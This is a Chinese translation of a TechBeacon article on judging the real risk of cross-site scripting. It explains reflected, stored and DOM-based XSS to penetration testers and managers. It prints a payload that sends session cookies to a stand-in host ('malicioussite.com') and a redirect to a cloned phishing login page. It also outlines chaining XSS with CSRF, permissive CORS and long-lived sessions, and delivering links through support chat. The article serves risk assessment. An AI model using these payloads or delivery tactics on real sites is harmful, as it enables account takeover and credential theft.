组织对其资产执行某种级别的渗透测试是司空见惯的。通过渗透测试，有责任修复任何已发现的漏洞或提出接受风险的案例。
许多企业主似乎愿意忽略的一个漏洞是跨站点脚本（XSS），更具体地说是反映的有效载荷。我从人们那里听到的最常见的论点是，你必须欺骗某人提交JavaScript，他们很快就会忽略这个漏洞，好像没有其他因素在起作用。这已成为一种非常普遍的现象，特别是在bug-bounty程序中。
HackerOne等网站允许组织确定哪些漏洞有资格获得奖励。当我看到一个程序说它不接受XSS作为漏洞时，我不得不质疑是否存在被误解的风险，风险可以忽略不计，或者已经报告了漏洞的问题。
不幸的是，在许多情况下，这是一个被误解的风险问题。
这就是为什么您需要超越通常作为XSS攻击证据的“警报”，以及评估漏洞风险时应考虑的关键因素。最终，这应该使您能够评估组织的风险，并帮助指导您提出执行渗透测试的人员或团队的正确问题。
什么是漏洞？
对于那些不熟悉XSS的人来说，它是一种特定的代码注入形式，其中用户输入以JavaScript的形式由Web浏览器解释和执行。此漏洞有三种高级类型：反射，持久和基于DOM。
在反射XSS的情况下，用户输入反映在Web浏览器中，而不会保存到数据库中。当开发人员想要提供更多信息而不仅仅是“出错”时，我们会在错误消息中看到这种情况，并且还包括错误中的用户输入。
在持久性XSS的情况下，用户输入被保存到数据库中。每当有人在Web浏览器中查看保存的值时，都会导致代码执行。这些形式的XSS中的每一种都依赖于处理用户输入的服务器，但是没有正确地验证/清理值。
基于DOM的XSS完全依赖于客户端代码。如果您正在检查源代码，通常会看到引用“$ location.url”或“this.parameterName”。参数值可能来自第三方站点，也可能来自包含上一页参数的页面重定向。
这些示例中的每一个都将信息存储在Web浏览器的内存中。如果使用白名单对某些值进行了清理或验证，则JavaScript可能会使用这些值并导致用户输入执行。
向用户显示的详细错误导致JavaScript执行。
上图显示了反射XSS的示例。渗透测试人员使用的常见负载是：
<script>alert(1)</script>
不幸的是，这是许多渗透测试停止的地方，导致反应不足，“你可以弹出警报;那么什么？”
确定影响
您作为渗透测试人员的下一步应该是从开发角度确定我们必须使用的内容。一个常见的起点是网站上的其他漏洞。
例如，如果设置了会话cookie并且缺少HTTPOnly标志，我们可以使用一些代码向自己发送值：
<script>document.location='http://malicioussite.com/'+document.cookie;</script>
获得会话令牌后，在本地设置值可以让我们访问用户的帐户。从不同的角度攻击网站，如果您有无限的空间可以使用，您可以制作一个提示输入用户名和密码的HTML表单。这需要一些编码经验。
您还可以使用SEToolkit克隆登录页面，然后使用下面的JavaScript将用户重定向到克隆页面并尝试欺骗他们向您发送用户名和密码。
<script>window.location.replace("http://ourMaliciousSite.com/login");</script>
每个示例都侧重于获取对用户帐户的访问权限，因为作为渗透测试人员，这通常会对我们的许多客户产生最大的影响。可以更改这些脚本示例以收集组织可能重视的任何形式的敏感信息。
虽然理论上这一切都很好，但你仍然必须以一种不易识别的方式提供有效载荷，或者不会引起人们注意我们正在做一些邪恶的事情。
确定可能性
在尝试评估XSS的风险时，您必须考虑许多不同的因素，第一个因素是有效负载的交付方式。
在存储XSS的情况下，这非常简单;我们的JavaScript被保存到数据库中，当在网页中填充值时，它就会执行。对于DOM和反射的有效负载，我们必须考虑如何将JavaScript传递给受害者，以便演示攻击者如何获取要解释的代码。
为此，我们想要列出一个场景：有一个用户表单要求用户在提交信息之前登录。此表单的POST参数之一易受反映的XSS影响。该网站还在有人浏览网站的整个过程中强制使用HTTPS，并且还强制执行HTTP严格传输安全性。
那么，作为攻击者，我们如何强制用户登录并提交我们的有效负载？
要回答这个问题，我们首先来看一下网站的配置方式。第一个障碍是POST参数。我们的首选方法之一是寻找跨站点请求伪造（CSRF），这将允许我们构建自己的网页，我们可以在其中制作POST请求。然后我们要做的就是让用户访问该页面并单击一个按钮。
同样，如果站点使用HTML5的跨源资源共享，我们可以检查站点是否信任任意域以向服务器发出请求。
突出显示的响应标头显示服务器接受来自任何域的请求（用*表示），并允许第三方域处理凭据。
搞清楚身份验证
因此，我们有将有效负载转换为POST参数的方法，但现在我们需要解决身份验证问题。我们需要确保用户已登录才能使我们的交付方式正常工作。
我们首先查看初次登录后用户会话的活动时间;通常会找到有效期为五天或更长的会话cookie。如果在关闭选项卡或窗口时会话未到期，那就更好了。这是更好的，因为现在我们不需要我们的受害者在我们交付有效载荷时使用网站，我们从他们最后一次登录后有五天发送给他们！
我们的下一步是以无缝方式包装所有这些，不会引起任何危险信号。如果网站具有内置聊天功能，可以与员工，甚至技术支持人员交谈，这可能是完美的。我们知道用户将登录，我们知道可能拥有比我们更多权限的人。
如果网站没有聊天功能，攻击者始终可以定位网站的“联系我们”页面。这些页面通常允许用户向内部员工提交自由格式问题。我们现在需要的只是一个小小的欺骗：我们向他们发送了一个链接到我们的站点，它将提交JavaScript，并且运气不好，他们不会注意到我们正在试图窃取他们的凭据。
如果我们正在窃取会话cookie，那么大部分内容都应该在受害者的互动很少的情况下发生。
把它放在一起
因此，回顾一下我们到目前为止所涵盖的内容：我们了解恶意行为者将对特定漏洞做些什么，以及完成任务所需的代码和技术知识。我们知道可以利用其他漏洞来实现所有这些，并且我们知道在构建漏洞利用时谁将成为目标。
综合所有这些因素，我们有一个很好的起点来确定XSS漏洞的实际整体风险。下一步是初步决定风险是否为组织所接受，或者您的组织是否不想接受风险并修复漏洞。
TL; DR
我们已经概述了可以组合使用的多个漏洞，以实现我们执行JavaScript XSS有效负载的最终目标。这通常被称为攻击链。我们使用的每个组织都以不同的方式配置其应用程序，并且可能针对如何利用漏洞具有不同的攻击链。
了解攻击的每个步骤，恶意行为者利用每个步骤的难度（或容易程度）以及目标访问或信息非常重要。所有这些都是帮助评估每个漏洞风险的关键。
即使存在旧的漏洞或可能无法直接危害服务器和敏感信息的漏洞，也值得采取退步并从整体上看待环境。如果对利用此漏洞需要什么或者恶意行为者试图通过XSS漏洞实现什么有任何疑问，请询问您的渗透测试人员可以帮助您获得这些答案。
原文：https://techbeacon.com/security/cross-site-scripting-how-go-beyond-alert
本文：http://pub.intelligentx.net/node/494
讨论：请加入知识星球或者小红圈【首席架构师圈】